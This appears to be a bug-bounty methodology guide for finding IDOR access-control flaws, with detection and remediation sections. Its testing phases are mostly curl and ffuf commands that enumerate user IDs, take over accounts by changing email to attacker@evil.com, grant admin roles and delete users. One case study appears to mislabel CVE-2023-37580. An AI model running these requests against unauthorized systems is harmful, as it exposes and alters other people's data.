Idor Vulnerability Hunting

IDOR Vulnerability Hunting

When to Use

• When testing web applications for unauthorized data access via object reference manipulation
• During bug bounty hunting when you see numeric/sequential IDs in URLs, API calls, or form parameters
• When API endpoints use predictable identifiers (user_id, order_id, doc_id)
• When testing multi-tenant applications for cross-tenant data leakage
• When you find UUID/GUID references that may be predictable or enumerable

When NOT to use: If the application uses cryptographically random tokens AND validates server-side ownership — then move to session management or authentication bypass skills instead.

Prerequisites

• Burp Suite Pro or Community Edition installed with browser proxy configured
• Two test accounts with different privilege levels (attacker + victim)
• curl, httpie, or Postman for API testing
• ffuf or wfuzz for parameter fuzzing
• Autorize Burp extension for automated authorization testing
• Authorization to test the target (bug bounty scope or pentest engagement)

Workflow

Phase 1: Identify Object References

Map every parameter that references objects. These are your attack surface.

# Crawl the target and extract parameters from Burp proxy history
# Look for these patterns in URLs, POST bodies, and headers:

# Numeric sequential IDs (highest priority)
/api/users/1234
/api/orders/5678
/profile?user_id=42
/download?file_id=100

# UUIDs/GUIDs (still testable)
/api/documents/550e8400-e29b-41d4-a716-446655440000

# Encoded references
/api/data?ref=dXNlcl9pZD0xMjM0  # Base64: user_id=1234

# Hashed references
/api/file/5d41402abc4b2a76b9719d911017c592  # MD5 hash

# Composite references
/api/org/15/user/42/report/7

Decision Point 🔀 — What type of reference did you find?

Sequential numeric ID → High chance of IDOR, go to Phase 2 immediately
UUID/GUID → Check if version 1 (time-based, predictable) vs v4 (random)
Base64 encoded → Decode it, modify the decoded value, re-encode
Hashed value → Try common hash patterns (MD5/SHA1 of sequential numbers)
No visible reference → Check JSON response bodies for hidden IDs

Phase 2: Horizontal IDOR Testing (Same Privilege Level)

Test if User A can access User B's resources by swapping identifiers.

# Step 1: Log in as User A (attacker), capture a request with an object reference
# Example: GET /api/v1/users/1337/profile with User A's session

curl -s -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  https://target.com/api/v1/users/1337/profile

# Step 2: Change the object ID to User B's (victim) ID
curl -s -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  https://target.com/api/v1/users/1338/profile

# Expected vulnerable response:
# HTTP 200 with User B's data returned using User A's token

# Step 3: Automate with ffuf to find all accessible IDs
ffuf -u https://target.com/api/v1/users/FUZZ/profile \
  -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  -w <(seq 1 10000) \
  -mc 200 \
  -o idor_results.json

# Step 4: Test write operations (MORE CRITICAL)
# Change victim's email/password using attacker's session
curl -X PUT https://target.com/api/v1/users/1338/profile \
  -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker@evil.com"}'

Phase 3: Vertical IDOR Testing (Privilege Escalation)

Test if a low-privilege user can access admin-only resources.

# Using a regular user's token, access admin endpoints
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/users
  
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/config
  
# Test admin actions with regular user token
curl -X DELETE -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/users/1338

# Test role manipulation
curl -X PUT https://target.com/api/v1/users/1337/role \
  -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  -d '{"role": "admin"}'

Phase 4: Advanced IDOR Techniques

# Technique 1: Parameter pollution — send multiple values
curl "https://target.com/api/profile?user_id=1337&user_id=1338"

# Technique 2: HTTP method switching
# If GET is blocked, try POST/PUT/PATCH/DELETE
curl -X POST https://target.com/api/v1/users/1338/profile \
  -H "Authorization: Bearer $ATTACKER_TOKEN"

# Technique 3: API version switching
curl https://target.com/api/v2/users/1338/profile  # Try v2, v3
curl https://target.com/api/users/1338/profile      # Try without version

# Technique 4: Wrapping ID in array
curl -X POST https://target.com/api/v1/users/ \
  -H "Content-Type: application/json" \
  -d '{"id": [1338]}'

# Technique 5: JSON parameter injection
curl -X POST https://target.com/api/v1/profile/update \
  -H "Content-Type: application/json" \
  -d '{"name":"test", "user_id": 1338}'

# Technique 6: Wildcard / glob patterns
curl https://target.com/api/v1/users/*/profile
curl https://target.com/api/v1/users/../1338/profile

# Technique 7: Numeric ID as string
curl https://target.com/api/v1/users/"1338"/profile

# Technique 8: XML body instead of JSON
curl -X POST https://target.com/api/v1/profile \
  -H "Content-Type: application/xml" \
  -d '<user><id>1338</id></user>'

Phase 5: Automated Testing with Autorize

1. Install Autorize extension in Burp Suite
2. Configure with two sessions:
   - High privilege session (admin/victim token)
   - Low privilege session (attacker token)
3. Browse the application as the high-privilege user
4. Autorize automatically replays each request with the low-privilege token
5. Color-coded results:
   - RED    = Bypassed (IDOR confirmed)
   - ORANGE = Potentially bypassed (different response)
   - GREEN  = Enforced (access denied)

Phase 6: Evidence Collection & Reporting

# Screenshot the request/response showing unauthorized access
# Save as evidence for bug bounty report

# Calculate impact by testing:
# 1. Can you READ other users' data? (Confidentiality)
# 2. Can you MODIFY other users' data? (Integrity)
# 3. Can you DELETE other users' data? (Availability)
# 4. Can you access financial/PII/PHI data? (Regulatory)
# 5. How many users are affected? (Scale)

🔵 Blue Team Detection

How defenders can detect IDOR attacks:

• WAF rules: Alert on sequential parameter fuzzing (many requests with incrementing IDs)
• Application logging: Log and alert when a user accesses objects owned by other users
• Rate limiting: Implement per-user rate limits on sensitive endpoints
• Sigma rule: Detect rapid sequential API calls with different object IDs from same IP/session
• Fix: Always validate object ownership server-side — WHERE user_id = authenticated_user_id AND object_id = requested_id

Real-World Case Studies

CVE-2023-37580: Zimbra IDOR

• Target: Zimbra Collaboration Suite
• Impact: Unauthenticated access to other users' email data
• Technique: Direct object reference in mailbox endpoint without ownership validation

HackerOne Report #1408600: Shopify IDOR

• Target: Shopify Partner Dashboard
• Impact: Access to any shop's revenue data by changing shop_id parameter
• Bounty: $15,000

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: E-commerce Order Access User discovers /api/orders/12345 reveals order details. By changing to /api/orders/12344, they access another customer's order including name, address, and payment details. Write IDOR → can modify shipping address.

Scenario 2: File Download IDOR Cloud storage app uses /download?file_id=abc123. Testing sequential IDs reveals access to other users' uploaded documents including sensitive contracts and financial records.

Scenario 3: Admin Panel Data Leak Regular user finds admin API endpoint /api/admin/reports/monthly in JavaScript source. Accessing it with regular user token returns full admin dashboard data.

Scenario 4: Multi-Tenant SaaS Breach Tenant A can access Tenant B's data by swapping org_id parameter in API calls, leading to complete cross-tenant data exposure.

Output Format

IDOR Vulnerability Report
=========================
Title: Horizontal IDOR in User Profile API
Severity: HIGH (CVSS 7.5)
Endpoint: GET /api/v1/users/{id}/profile
Parameter: id (path parameter)

Steps to Reproduce:
1. Login as User A (attacker), note session token
2. Send GET /api/v1/users/1337/profile → returns User A's data
3. Change 1337 to 1338 → returns User B's data with same token
4. All user profiles from ID 1 to 50000+ are accessible

Impact:
- Full PII exposure (name, email, phone, address) for all users
- Write IDOR also confirmed (can modify other users' profiles)
- Estimated 50,000+ affected users

Remediation:
- Implement server-side ownership validation on all endpoints
- Replace sequential IDs with UUIDs (defense in depth)
- Add Autorize-like automated testing to CI/CD pipeline

Troubleshooting

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• OWASP: Broken Access Control
• OWASP API Security: API1:2023 BOLA
• MITRE ATT&CK: T1530 — Data from Cloud Storage
• PortSwigger: Access Control Vulnerabilities